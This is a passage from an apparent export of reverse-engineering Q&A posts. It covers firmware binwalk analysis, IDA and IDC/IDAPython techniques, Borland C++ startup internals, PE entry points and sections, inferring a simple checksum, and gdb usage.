Zlib compressed data, default compression\n1278786       0x138342        Zlib compressed data, default compression\n1278986       0x13840A        Zlib compressed data, default compression\n1279066       0x13845A        Zlib compressed data, default compression\n1279106       0x138482        Zlib compressed data, default compression\n1279186       0x1384D2        Zlib compressed data, default compression\n1279226       0x1384FA        Zlib compressed data, default compression\n1281321       0x138D29        Copyright string: \" 2002-2009n\"\n1284386       0x139922        XML document, version: \"1.0\"\n1294150       0x13BF46        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 754974720 bytes\n1294166       0x13BF56        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes\n1294182       0x13BF66        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes\n1294206       0x13BF7E        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes\n1294222       0x13BF8E        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes\n1370193       0x14E851        Zlib compressed data, default compression\n
\n\n

It all seems like a false positive because when I run \nbinwalk -e I get these files as output:

\n\n

\"enter

\n\n

All files without file suffixes are empty and the zip files give an error. ( I can't unzip the zlib files)

\n\n

From hexdump output I see quite a lot of ascii which I guess indicates it's not encrypted. Especially I've found that there seems to be some sort of language files between 0x10780A and 0x138342

\n\n

I've included the hexdump as hex2.out

\n\n

All the files can be found here

\n\n

My question is: Where do I go from here? Please help, I've no idea.

\n", "Title": "Trying to reverse GPS Watch firmware image with binwalk", "Tags": "|firmware|embedded|", "Answer": "

The Garmin GCD file format is documented here, with some additional information here and here.

\n\n

Furthermore, it looks like somebody already wrote a tool (mirrored here) for handling and manipulating Garmin GCD files:

\n\n

\"enter

\n" }, { "Id": "6872", "CreationDate": "2014-12-21T23:06:35.780", "Body": "

I'm trying to reverse a server executable(linux) and I need to find what calls sendmsg. Usually I can just use the xrefs in IDA, but in this case it doesn't show me anything. However, if I set a breakpoint at it I can see it being called when I connect. So my question to you is: how can I find out how the program got to the sendmsg?

\n", "Title": "IDA: Finding out what calls sendmsg", "Tags": "|ida|linux|", "Answer": "

Breakpoint at the beginning of the function and check the stack for the return address. Or hook your function in c++ for instance and log the _ReturnAddress ()

\n" }, { "Id": "6876", "CreationDate": "2014-12-23T07:02:37.970", "Body": "

I have been looking on the net and all I see when it comes to reverse engineering are a bunch of silly crackme tutorials. I want to be better at taking code from assembly to c or c++. I am getting the feeling that I am going to have to have to pick this all in time and or make a bunch of small programs and break them apart.I would like to build on what might be already out there. I am already some what proficient in what I am doing just I want to be better.

\n\n

For example:

\n\n
mov     eax, DDrawPtr\npush    8\npush    1E0h\npush    280h\nmov     ecx, [eax]\npush    eax\ncall    dword ptr [ecx+54h]\n
\n\n

Hex-rays translates this as

\n\n
v1 = (*(**DDrawPtr + 0x54))(*DDrawPtr, 640, 480, 8)\n
\n\n

which is ok.... It should be .

\n\n
HANDLE v1 = DDrawPtr -> SetDisplayMode(640,480,8);\n
\n\n

or sometimes IDA makes mistakes and will say

\n\n
int __cdecl sub_41B869()\n
\n\n

Where as this code doesn't return anything and is supposed to be a void....

\n\n

I found a neat question and answer here Stackoverflow question/answer.\nI am wanting to learn more like this because I am realizing that IDA makes mistakes. I want to know how to recognize function types and more importantly do this by hand, because I am seeing IDA make mistakes and I feel that I should learn to recognize better these mistakes and see how I can manually if need bring it back.

\n\n

Here is a book that does this somewhat but it goes from C to assembly not the other way around. reverse engineering pdf

\n\n

Any suggestions?

\n", "Title": "Becoming A Better Reverse Engineer", "Tags": "|decompilation|c++|c|", "Answer": "

These suggestions may help. One sure way of becoming a better reverse engineer is to become a better \"forward engineer\"! Here's what I would suggest:

\n\n
    \n
  1. Examine the assembly output of various compilers. Write test programs of increasing complexity and examine the assembly language output so that you get a sense of what the compiler does for any given high level construct.
    2. \n
  2. Try running binaries through a decompiler. This will allow you to see how those same programs are interpreted by a tool and allow you to begin to see the kinds of errors that the tools make.
    3. \n
  3. Try completely reverse engineering a small project. It's not hard to find source code for all kinds of things these days. Pick an open source project that you are not familiar with, compile it without peeking at the code and try to reverse engineer it entirely. Alternatively, try reverse engineering some particular routine or aspect (which is more usual).
    4. \n
  4. Try to write code to fool the decompiler. Open source projects typically don't take any anti-disassembly measures but other kinds of software (e.g. malware) often does. Learn these techniques in the forward direction and then look at the results with your reverse engineering tools. You'll get a feel for which techniques are successful and why.
    5. \n
\n\n

Hope that helps.

\n" }, { "Id": "6884", "CreationDate": "2014-12-25T13:10:17.797", "Body": "

So I want to track when a certain file is loaded into an Win32 app. That's way I put a break-point on 'CreateFile' which compares the first parameter with the target file name, but the problem is that it is a case-sensitive comparison. How to do it non-sensitive?

\n\n

Here is the break-point condition on 'CreateFileA':

\n\n
GetString(DbgDword(esp + 0x4), -1, ASCSTR_C)  == \"D:\\\\3K-MILLENNIUM\\\\3K-MILLENNIUM\\\\USER_LAW.TXT\"\n
\n\n

Any ideas?

\n", "Title": "How to compare no-case sensitive strings IDC", "Tags": "|ida|debugging|winapi|", "Answer": "

I was able to do this comparsion using IDA-Python 1.7.0 and IDA Demo 6.6. The script code is this:

\n\n
Tmp = GetString(DbgDword(cpu.ESP + 0x4), -1, ASCSTR_C)\n\nreturn str(Tmp).upper() == \"D:\\\\3K-MILLENNIUM\\\\3K-MILLENNIUM\\\\USER_LAW.TXT\"\n
\n\n

Link to IDA-Python 1.7.0, compiled for Win32 (32bit & 64bit).

\n" }, { "Id": "6894", "CreationDate": "2014-12-27T06:18:31.037", "Body": "

I want to test some approach in symbolic execution in windows binaries and doesn't want to write a new one from scratch and also this tool must be reliable at research levels.

\n\n

I found S2E and BitBlaze earlier but not any documentation for testing windows binaries.

\n", "Title": "What are the open source symbolic execution tools for windows binaries", "Tags": "|windows|binary-analysis|", "Answer": "

Metasm and Miasm can perform symbolic execution on Windows binaries. Metasm is written in pure ruby with no dependencies. Miasm is written in python. You can find some usages of the above frameworks in the book Practical Reverse Engineering. Besides you can always Google for more.

\n\n

Here is an hands-on example of using miasm for symbolic execution.

\n" }, { "Id": "6896", "CreationDate": "2014-12-27T17:34:32.400", "Body": "

Can someone recommend any tutoial or books on how to analyze unknown network protocol. Basically given the dumps of network traffic, I need some guide/examples on reversing the protocol.

\n", "Title": "Books/tutorial on reversing protocol", "Tags": "|protocol|", "Answer": "

The Malware Analysis Tutorial 1 on Dr Fu's Security Blog involves running a piece of malware inside a Windows VM and capturing its network traffic using wireshark in a Linux VM set up for the purpose. Among other things. That should cover the 'acquisition' part of your project nicely in case plain wireshark on its own should not be enough...

\n\n

As regards Ethereal/Wireshark as such, there's a series of tuts on Wikiversity and Google turns up a gazillion more.

\n\n

As regards the analysis portion I found these quite interesting:

\n\n\n" }, { "Id": "6900", "CreationDate": "2014-12-28T00:38:44.957", "Body": "

I'm trying to reverse engineer an ages-old game compiled with Borland C++ in 1995. So far, I have found out that start @0x401000 passes to __startup in cw3220.dll (which apparently is Borland's C++ runtime dll) the following:

\n\n
    \n

  1. pointer to the begin of a list of global static constructors ({ char flag0; char flag1; void* fun})

    2. \n

  2. pointer to end of said list

    3. \n
  3. pointer to begin of a list of destructors (as above)
    4. \n
  4. pointer to end of dtor list
    5. \n
  5. int flag - GUI app or not (should __startup call main(argc,argv,env) or WinMain(hInstance,hPrevInstance,lpCmdLine,nShowCmd))
    6. \n
  6. unknown int flag1
    7. \n
  7. pointer to entry function
    8. \n
  8. pointer to a function which IDA has automagically named matherr
    9. \n
  9. pointer to a function matherrl
    10. \n
  10. unknown int flag2
    11. \n
  11. unknown int flag3
    12. \n
\n\n

Is there any documentation available which tells the meaning of flag1/2/3 in the info struct, flag0/1 in the ctor list entries and how Borland C++ handles exceptions - functions using classes always call __InitExceptBlock, but I never see checks for exceptions after function calls, how is try/catch handled?

\n", "Title": "Borland C++ runtime startup", "Tags": "|windows|c++|", "Answer": "

cw3220.dll indicates that you're looking at BC++ 5.0. AFAICS the only official documentation regarding the startup code is BC5/source/RTL/source/startup/Win32/c0nt.asm, plus _startup.h and startup.c (also somewhere under source/RTL). The struct is defined in _startup.h:\n

\n\n
typedef struct module_data\n{\n    INIT *init_start;           /* start of a module's _INIT_ segment */\n    INIT *init_end;             /* end of a module's _INIT_ segment */\n    INIT *exit_start;           /* start of a module's _EXIT_ segment */\n    INIT *exit_end;             /* end of a module's _EXIT_ segment */\n    int  flags;                 /* flags (see below) */\n    int  hmod;                  /* module handle */\n    int  (*main)();             /* main/WinMain/_dllmain function */\n    int  (*matherr)(void *);    /* (EXE only) _matherr function */\n    int  (*matherrl)(void *);   /* (EXE only) _matherrl function */\n    long stackbase;             /* (EXE only) base of stack */\n    int  *fmode;                /* (EXE only) address of _fmode variable */\n} MODULE_DATA;\n\n/* MODULE_DATA flags.\n */\n#define MF_WINDOWS  1           /* this is a Windows application */\n
\n\n

If you install from PAKs then it can happen that the RTL sources don't get installed even if you select everything, but the RTL source is present in the BC5 directory on the installation CD (at least in my copy). That documents at least the calling side.

\n\n

A lot of BC++ 4 internals were documented in the Borland Open Architecture Handbook that had to be ordered separately at nominal cost (one floppy). I can't locate the stuff ATM but I've seen copies floating around on the 'net, under the name of bc4boa.zip...

\n" }, { "Id": "6901", "CreationDate": "2014-12-28T10:38:58.000", "Body": "

I'm reversing an x86 executable with IDA pro. Here is the beginning of the function causing problems to IDA stack pointer analysis. I'm showing the stack pointer value in the second column:

\n\n
.text:002C35B0 000                 push    ebp\n.text:002C35B1 004                 mov     ebp, esp\n.text:002C35B3 004                 and     esp, 0FFFFFFF8h\n.text:002C35B6 004                 push    0FFFFFFFFh\n.text:002C35B8 008                 push    offset sub_75B75D\n.text:002C35BD 00C                 mov     eax, large fs:0\n
\n\n

In the third line, the and is not changing the esp value for IDA and I suppose this is the reason for having unknown esp offsets throughout the function. I have the following questions:

\n\n\n", "Title": "IDA stack pointer analysis fails due to \"and\" operation to esp", "Tags": "|ida|x86|", "Answer": "

and esp, not 7 aligns the stack pointer (down) to a multiple of eight, by computing the moral equivalent of esp -= esp % 8; (which would require more instructions). You can manually change the simulated stack pointer by hitting Alt+K on the instruction and entering -4.

\n\n

SP-related things in IDA tend to be a bit confusing because you never really know whether you are working in the realm of IDA's virtual inverted stack (as evidenced by the positive stack pointer offsets shown in the disassembly) or not... So you have to experiment, see what IDA does when you enter certain values.

\n\n

Also, most things regarding simulation, constant/parameter propagation (this pointers!) and so on seem to have been reserved for the decompiler product, which might explain why IDA itself has seen little progress in that regard over the last decade.

\n\n

Be that as it may, the small difference of -4 is probably not the reason you're seeing bad stack offsets. IDA sometimes gets confused when there are function chunks involved, or multiple code paths involving alloca() and so on (especially if the function epilogue is not located in the main chunk).

\n\n

If you're still having problems you could put a bigger snippet on pastebin and post a link here. Also, if you have an active support plan then you could contact Hex-Rays; when I had a problem with stack pointers in a big IDB imported from an older version of IDA I sent in the IDB and they fixed it for me...

\n" }, { "Id": "6905", "CreationDate": "2014-12-28T12:05:02.173", "Body": "

Microsoft documentation gives WinMain() as the entry point for a Windows program, but unlike DllMain() it seems to be a pure fiction arranged by the compiler-provided startup code.

\n

I've looked at the output of a few Win32 compilers (32-bit and 64-bit) and in all cases the information passed to WinMain() was synthesised by the startup code and not based on any parameters passed to the entry point by the Windows loader. Also, all the samples I analysed - and all the examples I remember seeing on the 'net - used ExitProcess() even though a simple return from the entry point seems to have exactly the same effect.

\n

Does anyone know of any documentation - official or otherwise - regarding the game rules for PE32(+) entry points?

\n", "Title": "Real PE32(+) entry point - is it documented anywhere?", "Tags": "|windows|pe|entry-point|", "Answer": "
\n

Microsoft documentation gives WinMain() as the entry point for a\nWindows program

\n
\n

No, Microsoft's documentation doesn't give WinMain() as the entry point for a Windows program.

\n

From the WinMain() documentation to which you linked above (emphasis mine) - "WinMain entry point [is] the user-provided entry point for a graphical Windows-based application... Depending on the programming framework, the call to the WinMain function can be preceded and followed by additional activities specific to that framework."

\n

In other words, if you're building a native application, your compiler will likely build your executable file such that its framework initialization code is executed before your WinMain() function.

\n
\n

Does anyone know of any documentation - official or otherwise -\nregarding the game rules for PE32(+) entry points?

\n
\n

Yes, from the Microsoft PE and COFF Specification, the AddressOfEntryPoint field in the PE header is defined as "For program images, this is the starting address." It's this field that will typically point to the framework initialization code described above.

\n

Note that despite AddressOfEntryPoint being the starting address of the program, the code at that address will be executed after TLS callback functions (also documented in the PE/COFF documentation) if they exist, and after statically loaded DLLs' DllMain() functions.

\n
\n

parameters passed to the entry point by the Windows loader

\n
\n

As explained here by @igor-skochinsky, "the registers at the entry point of PE file do not have defined values." However, as he points out, EAX often points to the AddressOfEntryPoint and EBX often points to the PEB.

\n

You may want to refer to @Ange's Initial values documentation to find other unofficial register values at entry point.

\n" }, { "Id": "6907", "CreationDate": "2014-12-28T15:17:26.890", "Body": "

In the program I'm trying to reverse engineer, originally IDA only created three segments: CODE, DATA and .idata.

\n\n

Using the information from the compiler source code (http://pastebin.com/ParJ3683 lines 30-78), I determined that infact DATA was concatenated out of (at least) four segments, DATA,INITDATA,EXITDATA and BSS.

\n\n

So I created three new segments with the specified alignments (word/dword) and the appropriate boundaries; while all data appeared in the correct segment bounds, all references to what had been in the DATA segment and is now in BSS are now totally messed up:

\n\n
CODE:00401A8A                 push    ds:globalErrorMessagesCaption[eax*4] ; lpCaption\n
\n\n

turned into

\n\n
CODE:00401A8A                 push    dword ptr ds:(algn_481049+187h)[eax*4] ; lpCaption\n
\n\n

The section header is

\n\n
_BSS:00481106 ; Segment type: Pure data\n_BSS:00481106 _BSS            segment dword public 'DATA' use32\n_BSS:00481106                 assume cs:_BSS\n_BSS:00481106                 ;org 481106h\n
\n\n

What has gone wrong here and how can I fix it?

\n", "Title": "IDA segmentation problem", "Tags": "|ida|segmentation|", "Answer": "

IDA cannot reference symbols within a segment unless that segment has a valid selector, so that's the most important property to set for a new segment. The selector can be set in the 'Create Segment...' dialogue via the field \"base in paragraphs\".

\n\n

GetSegmentAttr(here, SEGATTR_SEL) tells you what the proper selector is, if the cursor is in the segment to be split. You can type the expression right into the input field of the dialogue; by the same token you can type here into the begin address field and SegEnd(here) into the end address field.

\n\n

Here's an IDC snippet (Shift-F2) that splits the current segment at the current position, cloning most relevant properties (including SEGATTR_SEL):\n

\n\n
CompileEx(\n  \"class HelperFunctions {\"\n    \"copy_seg_attr (src, dst, attr) { SetSegmentAttr(dst, attr, GetSegmentAttr(src, attr)); }\"\n  \"};\", 0  );\n\nauto ori_seg, ok, fn;\n\nori_seg = SegStart(here);\n\nok = AddSegEx(\n   here, \n   SegEnd(here), \n   GetSegmentAttr(here, SEGATTR_SEL),\n   GetSegmentAttr(here, SEGATTR_BITNESS),\n   GetSegmentAttr(here, SEGATTR_ALIGN),\n   GetSegmentAttr(here, SEGATTR_COMB),\n   ADDSEG_NOSREG  );\n\nif (!ok)  return Warning(\"AddSegEx() failed\");\n\nfn = HelperFunctions();    \nfn.copy_seg_attr(ori_seg, here, SEGATTR_PERM);\nfn.copy_seg_attr(ori_seg, here, SEGATTR_FLAGS);\nfn.copy_seg_attr(ori_seg, here, SEGATTR_ES);\nfn.copy_seg_attr(ori_seg, here, SEGATTR_SS);\nfn.copy_seg_attr(ori_seg, here, SEGATTR_DS);\nfn.copy_seg_attr(ori_seg, here, SEGATTR_TYPE);\nfn.copy_seg_attr(ori_seg, here, SEGATTR_COLOR);\n\nRenameSeg(here, AskStr(\"\", \"segment name\"));\n
\n\n

Note: 'inlining' a class definition via Compile() or CompileEx() was the only trick I found for defining a function inside a snippet. It seems to work only in newer IDAs though (tested with 6.6 and 6.7), and only if the Compile() is right at the start of the snippet.

\n\n

For older IDA versions the helper function has to be defined in some other way, for example in a separate .idc file, and the call to AddSegEx() needs to be replaced with AddSeg().

\n\n

Also, I couldn't find a way to query the segment class, and so it cannot be copied even though there is a function SetSegClass() that can set it.

\n\n

The inverse operation - merging the next segment into the current one - is much simpler:

\n\n
auto seg_beg, seg_end, next_seg;\n\nseg_beg = SegStart(here);\n\nif (seg_beg == -1)  return Warning(\"no segment here\");\n\nnext_seg = NextSeg(here);\n\nif (next_seg == SegEnd(here))\n{\n   seg_end = SegEnd(next_seg);\n\n   DelSeg(next_seg, SEGMOD_KEEP);\n   SetSegBounds(seg_beg, seg_beg, seg_end, SEGMOD_KEEP);\n\n   Jump(PrevNotTail(seg_end));\n}\n
\n\n

With a snippet like this you can merge a whole boatload of segments with just a single click per segment, which is handy for memory dumps. Or for undoing accidental segment splits...

\n" }, { "Id": "6911", "CreationDate": "2014-12-28T17:38:19.747", "Body": "

I know that

\n\n
\n

Dynamic program analysis is the analysis of computer software that\n is performed by executing programs on a real or virtual processor.

\n
\n\n

while

\n\n
\n

Static program analysis is the analysis of computer software that is\n performed without actually executing programs

\n
\n\n

But what i don't understand is that why would someone use a static disassembler like ida pro over a dynamic disassembler or debugger like ollydbg and vice versa.

\n\n

P.S This is not a duplicate of \nWhat is the difference between static disassembly and dynamic disassembly?

\n\n

Because this is not asking for the difference but it is asking for the reason and benefits why someone would choose static disassembler over a dynamic disassembler and vice versa in terms of malware analysis.

\n", "Title": "What is the benefit or reason of using a static disassembler over a dynamic disassembler in terms of malware analysis?", "Tags": "|ida|disassembly|ollydbg|malware|static-analysis|", "Answer": "

In most cases, you won't confine yourself to one of them, instead, you'll use both.

\n\n

Dynamic analysis means running the software. You don't want to do this with a piece of software that you suspect of being malware, except in a controlled environment.

\n\n

Also, before running the software, you want to know a bit about it. Is the executable packed in some way? Does it use anti-debugging techniques? Does the software contain any pieces of some well-known / open source library? There are lots of tools out there that answer some of these questions - Ida pro is only one of them.

\n\n

To further improve your understanding of the software, you want a tool that helps you find dependencies between its parts. Which parts of the binary are actually code, and which are data? If the software contains strings, or other data, that looks interesting, where are those referenced? Which function is called where? This is where the cross-referencing of IDA comes in handy.

\n\n

On the other hand, in many cases, you don't really need to understand every single instruction of a subroutine to know what it does. You might want to know which files and which registry keys get read and written by your software. Or, you might want to know if it accesses the internet, and which sites it connects to. Running the software with stuff like procmon or wireshark enabled is the fastest way to find out - i'd consider that dynamic analysis as well, even though procmon and wireshark aren't debuggers. Or, while analyzing your software, you come across a function that contains lots of bit operations - this might be some kind of encryption or hashing. Fire up a debugger, set breakpoints on the function, and check its parameters and return values. This can confirm your assumption much faster than trying to understand the function.

\n\n

Now, you've confirmed the function really decrypts something, and you want to know how it works. You'll probably want to annotate individual opcodes with comments like 'at this point, eax contains all bytes of the input string, xor'red with each other' or 'this doesn't do anything and seems to be nothing but obfuscation'. Tools like IDA allow you to do exactly this.

\n\n

So the answer is: unless you have a very trivial piece of software, you won't choose one over the other. Analyzing the software consists of many tasks; for some of them, static analysis is easier, for others, dynamic analysis. Any self respecting reverse engineer will have lots of tools at his disposal and pick the right one depending on the task at hand, and quite often, will write his own tool as well to tackle some problems he has with the specific software he's working on right now.

\n\n

Note that i've never always used the term software instead of malware, as this relates to any kind of reverse engineering, not just malware analysis.

\n" }, { "Id": "6918", "CreationDate": "2014-12-29T13:25:20.537", "Body": "

I'm reverse engineering a file format in which (amongst a whole lot of other things I have already decoded) the 'length' of the file is being stored.\nIt is displayed to the user as minutes:seconds.\nDoing a little bit of experimenting by altering the file and loading it up in the program, I've gathered the following possibilities:

\n\n
Original:\n5d42: 0:55\n\nAltered:\n5240: 0:03\n0000: 0:00\n003f: 0:00\n0040: 0:02\n0041: 0:18\n0042: 0:32\n0043: 2:08\n0044: 8:32\n0045: 34:08\n1045: 38:24\n0046: 136:32\n0047: 564:08\n0048: 2184:32\n0049: 8738:08\n004a: 34952:32\n004b: invalid\n004c: 559240:33\n004d: 2236962:15\n004e: 8947849:00\n004f: 35791396:00\n0050: 143165584:00\n0051: 572662336:00\n0052: 2290649344:00\n\n0142: 0:32\n0242: 0:32\n0342: 0:32\n0442: 0:33\n0542: 0:33\n0642: 0:33\n0742: 0:33\n0842: 0:34\n0942: 0:34\n0a42: 0:34\n0b42: 0:34\n0c42: 0:35\n0d42: invalid\n0e42: 0:35\n0f42: 0:35\n1042: 0:36\n1142: 0:36\n
\n\n

My guess is this is some sort of floating point, but I'm too limited in my skills to know what kind.\nI know all other numbers in the files are stored as little-endian.

\n\n

Does anyone have any clue?

\n", "Title": "What could this time format be?", "Tags": "|file-format|", "Answer": "

This seems very much like the IEEE754 format, and i'd assume each of your two byte timecodes to be preceded by two zero-bytes, which make a 4 byte (32 bit) value.

\n\n

You can calculate the exponent using the formula

\n\n
exponent=(byte2 * 2 - 127)\n
\n\n

and the value in seconds using

\n\n
value=2^exponent*(1+byte1/128)\n
\n\n

assuming the high-order bit of byte1 is clear; if you set the highest bit in byte1, you'll probably get a negative value. (If byte1 is zero, as in most of your examples, value is equal to the exponent, as the multiplicand is 1)

\n\n

Note you have a typo in your value for 0041, that should be 0:08, not 0:18, and you probably made a mistake when checking the 004b value, that should be 8388608 seconds, or 139810:08 minutes.

\n" }, { "Id": "6922", "CreationDate": "2014-12-30T05:11:24.453", "Body": "

What is the Linux equivalent to OllyDbg and IDA Pro ? Or if there are multiple tools that do the various functions that OllyDbg and IDA Pro do, where can I find these tools? I'd like to start reversing some elf files on Linux and I'm just looking for a set of tools to get me started.

\n", "Title": "What is the linux equivalent to OllyDbg and Ida Pro?", "Tags": "|linux|debuggers|disassemblers|", "Answer": "

As an (2019) addition to all the other answers:

\n\n

Try Ghidra.

\n\n

It is the Software Reverse Engineering (SRE) suit of the NSA and it's free and open source. It was leaked as part of Wikileaks' \"Vault 7\" but the NSA decided to release it and they published it as open source software. It's written in Java and is cross platform, supporting Windows, Linux and MacOS.

\n\n\n" }, { "Id": "6927", "CreationDate": "2014-12-30T12:01:57.770", "Body": "

I am trying to determine the algorithm behind a 32-byte protected section of memory on a big-endian system. It will render invalid if even a single bit is changed, but I can generate any number of valid 32-byte messages.

\n\n

Here shows a variety of example data. I believe the last 4 bytes are the checksum. All of them are accepted by the algorithm.

\n\n
00000000000000000000000000000000000000000007478A000101004892B760\nF0000000000000000000000000000000000000000002D8DF00010100C9E23610\n3065C0000000000000000000000000000000000000006F850001010060EB9F07\nFFFFFFFF03FC6BBD000000000000000000000000000000000001010070B88F3A\nFFFFFFFF0397E33D340C804138458C5006060968570C214B0001017AE8F416FE\n
\n\n

I was able to create a bunch of custom messages with very little differences. Doesn't seem like it could be a CRC-32.

\n\n
FFFFFFFF01671F7E000000000000000000000000000000000001010021E4DE0E (00)\nFFFFFFFF01671F84000000000000000000000000000000000001010021EADE08 (01)\nFFFFFFFF01671F88000000000000000000000000000000000001010021EEDE04 (02)\nFFFFFFFF01671F86000000000000000000000000000000000001010021ECDE06 (03)\nFFFFFFFF01671F8C000000000000000000000000000000000001010021F2DE00 (04)\nFFFFFFFF01671F8A000000000000000000000000000000000001010021F0DE02 (05)\nFFFFFFFF01671F86000000000000000000000000000000000001010021ECDE06 (06)\nFFFFFFFF01671F8C000000000000000000000000000000000001010021F2DE00 (07)\nFFFFFFFF01671F90000000000000000000000000000000000001010021F6DDFC (08)\n
\n\n

All of the input bytes are the same, except one byte that increases by 1 in each message.

\n\n

Here is a list of 50 or so pairs.

\n\n

Basically, are there any analysis methods that can be applied to a set of data to determine some properties of the algorithm? I can generate any number of these messages, and verify that they are accepted.

\n\n

Edit: By shifting a single bit, I noticed that 0x04 was added to two bytes, but subtracted to another (F84 -> F88, 1EA -> 1EE, E08 -> E04).\nAfter some experimentation (Mainly adding and subtracting different values and testing them) I was lucky that it turned out to be a summation of the fourteen preceding 16-bit words. AND-masking the sum by 0xFFFF, this value equals 15th word (e.g. 21EA in the first message).\nThis value is then subtracted from 0xFFF2 to produce the 16th word in the message.

\n\n
FFFFFFFF01671F84000000000000000000000000000000000001010021EADE08\nFFFFFFFF01671F88000000000000000000000000000000000001010021EEDE04\n
\n", "Title": "Reversing simple message + checksum pairs (32 bytes)", "Tags": "|binary-analysis|", "Answer": "

Some of the samples inputs shown differ only in the value of the sixteenth nibble; let 's(X)' stand for such an input with value X at that nibble:

\n\n
s(4): FFFFFFFF01671F840000000000000000000000000000000000010100 21EADE08\ns(6): FFFFFFFF01671F860000000000000000000000000000000000010100 21ECDE06\ns(8): FFFFFFFF01671F880000000000000000000000000000000000010100 21EEDE04\ns(A): FFFFFFFF01671F8A0000000000000000000000000000000000010100 21F0DE02\ns(C): FFFFFFFF01671F8C0000000000000000000000000000000000010100 21F2DE00\n
\n\n

In a similar vein, let 'o(Y)' stand for the bit string consisting entirely of zeroes except for value Y at the sixteenth nibble.

\n\n

Now, let's confront the XOR (bit difference) of certain inputs and the XOR of the corresponding checksums as MSB-first bitstrings:

\n\n
s(4) ^ s(6) = o(2), cksum delta: .............**.............***.\ns(8) ^ s(A) = o(2), cksum delta: ...........****..............**.\ns(8) ^ s(C) = o(4), cksum delta: ...........***...............*..\ns(4) ^ s(C) = o(8), cksum delta: ...........**...............*...\n
\n\n

The lowest set bit of the checksum differences is equal to the bit where the inputs differ, and there is a matching difference exactly sixteen bits higher. The bursts of set bits could be due to bubbling carries.

\n\n

For comparison, here are the XOR differences between the corresponding CRC32 values:

\n\n
s(4) ^ s(6) = o(2), crc32 delta: .*****.*.......***...*..***..*..\ns(8) ^ s(A) = o(2), crc32 delta: .*****.*.......***...*..***..*..\ns(8) ^ s(C) = o(4), crc32 delta: *.***.**.....*..*****..*...*..*.\ns(4) ^ s(C) = o(8), crc32 delta: .***.**.....*..*****..*...*..*.*\n
\n\n

The structure of the changes is completely different and much more complicated. Note the CRC difference for inputs that differ in the same bit (first two lines), and the density of the differences which approaches the theoretical 50%. This is because CRCs have much better diffusion (avalance effect) than simple, empirical checksums.

\n\n

And now the picture for a hash with near-perfect diffusion (the murmur hash mixer function):

\n\n
s(4) ^ s(6) = o(2), murmur delta: ..*..*.....**.**..*..*....**..**\ns(8) ^ s(A) = o(2), murmur delta: .*.*.*.*.*..*..*.*.*.*.**.*.*.*.\ns(8) ^ s(C) = o(4), murmur delta: ..****.*****.******.**.**.******\ns(4) ^ s(C) = o(8), murmur delta: .***...***.**...*.*....**.*.**.*\n
\n\n

It is easy to get a feel for the structure of a checksum by observing these differentials for increasingly complex functions: sum, xor, xorshift, some classical hashes.

\n\n

Then turn the spotlight on your target function. Observe output differences for some fixed inputs, letting single bit flip wander through the string. Observe output differences for single-bit differences at certain fixed positions for a series of different inputs. Let the difference position hop in increments of 8 bits, observe the behaviour. Then try 32-bit hops, observe. If possible, focus initial investigation on the last 32 bits of the input, since their relation to the output is bound to be a lot simpler than that for bits that went through more iterations... The structure of the hash function cannot hide itself from you for long.

\n\n

That was a look at xor differentials. Depending on the hypothesised structure of the checksum, other experiments are possible. As a real-life example, a few years back I had to deduce various check digit algorithms (similar in nature to the ISBN check digit algorithm) based on sample batches of (mostly) correct specimens. Since these algorithms are based on multiplying digits with certain position-dependent weights, I searched for pairs of numbers that differed only in one single digit apart from the checksum. By fixing certain hypotheses regarding how the sum is turned into a check digit, this allowed my to deduce the weight (1, 2, 3, 4...) for each digit and to identify the correct hypothesis for the sum.

\n\n

In the case under consideration it is certainly suggestive that the sixteenth nibble and the final nibble of the checksum sum to 12 (0x0C), for the five samples that I used here.

\n\n

So, the basic idea is to confront input differences with output differences, modulated by one's suspicion regarding the structure of the function that needs to be inferred. Things can get very tricky if sample pairs with minimal differences are scarce. Conversely, if you can produce samples at will (chosen-plaintext attack) then things are looking very good indeed...

\n" }, { "Id": "6933", "CreationDate": "2014-12-31T07:57:09.603", "Body": "

I know that I can output the value of a variable using

\n\n
(gdb) p var_name\n$1 = \"varvalue\"\n
\n\n

Is there a way to set the value of a variable while debugging with gdb? The document that I'm using doesn't seem to have this command.

\n\n

Edit

\n\n

I've since learned that I can change the state of objects in memory by simply calling their functions! So to modify an object of type std::string, just call the assign function as follows:

\n\n
(gdb) call str.assign(\"New Value\")\n
\n\n

Thank you.

\n", "Title": "How can I change the value of a variable while debugging?", "Tags": "|linux|gdb|", "Answer": "

A little bit later but to set a string variable you should try this>

\n\n

gdb set var string_variable = 'new_string_variable'

\n\n

Character numbers must be the same for the two variable definitions, in order to apply the change as appropriate. Quotes need to be applied to new variable.

\n" }, { "Id": "6935", "CreationDate": "2014-12-31T09:25:27.320", "Body": "

Is there any way to use an existing IDB from the IDA command line interface ?

\n\n

I went through the list of command line switches here but there isn't any related switches.

\n\n

As I am currently scripting IDA to do some processing based on the same file, I realised I could save some time by reusing the existing IDB, instead of repeatedly deleting and creating another new IDB per iteration. ( -c causes this behavior )

\n\n

My current command: idaw.exe -c -A -SC:\\someScript.py

\n", "Title": "Using an existing IDB from IDA command line interface", "Tags": "|ida|idapython|automation|", "Answer": "
\n

My current command: idaw.exe -c -A -SC:\\someScript.py

\n
\n\n

Remove the -c and add the existing IDB file's path:

\n\n

idaw.exe -A -SC:\\someScript.py C:\\existingIdb.idb

\n" }, { "Id": "6941", "CreationDate": "2015-01-02T03:18:07.717", "Body": "

According to MSDN, the .rdata section of a PE should contain the debug directory and the description string. I've read elsewhere that it contains read-only program data. Dumping several files, I found that .rdata contains the IAT, load configuration table, and safe exception handler table. Can someone please clarify the purpose of .rdata and why what I find in there disagrees with both descriptions? Also, shouldn't the import information be in .idata?

\n\n

I'm assuming different compilers and different versions of the same compiler treat the same sections differently. If that's the case, where can I get more information on this?

\n", "Title": "PE .rdata section contents", "Tags": "|pe|compilers|section|", "Answer": "

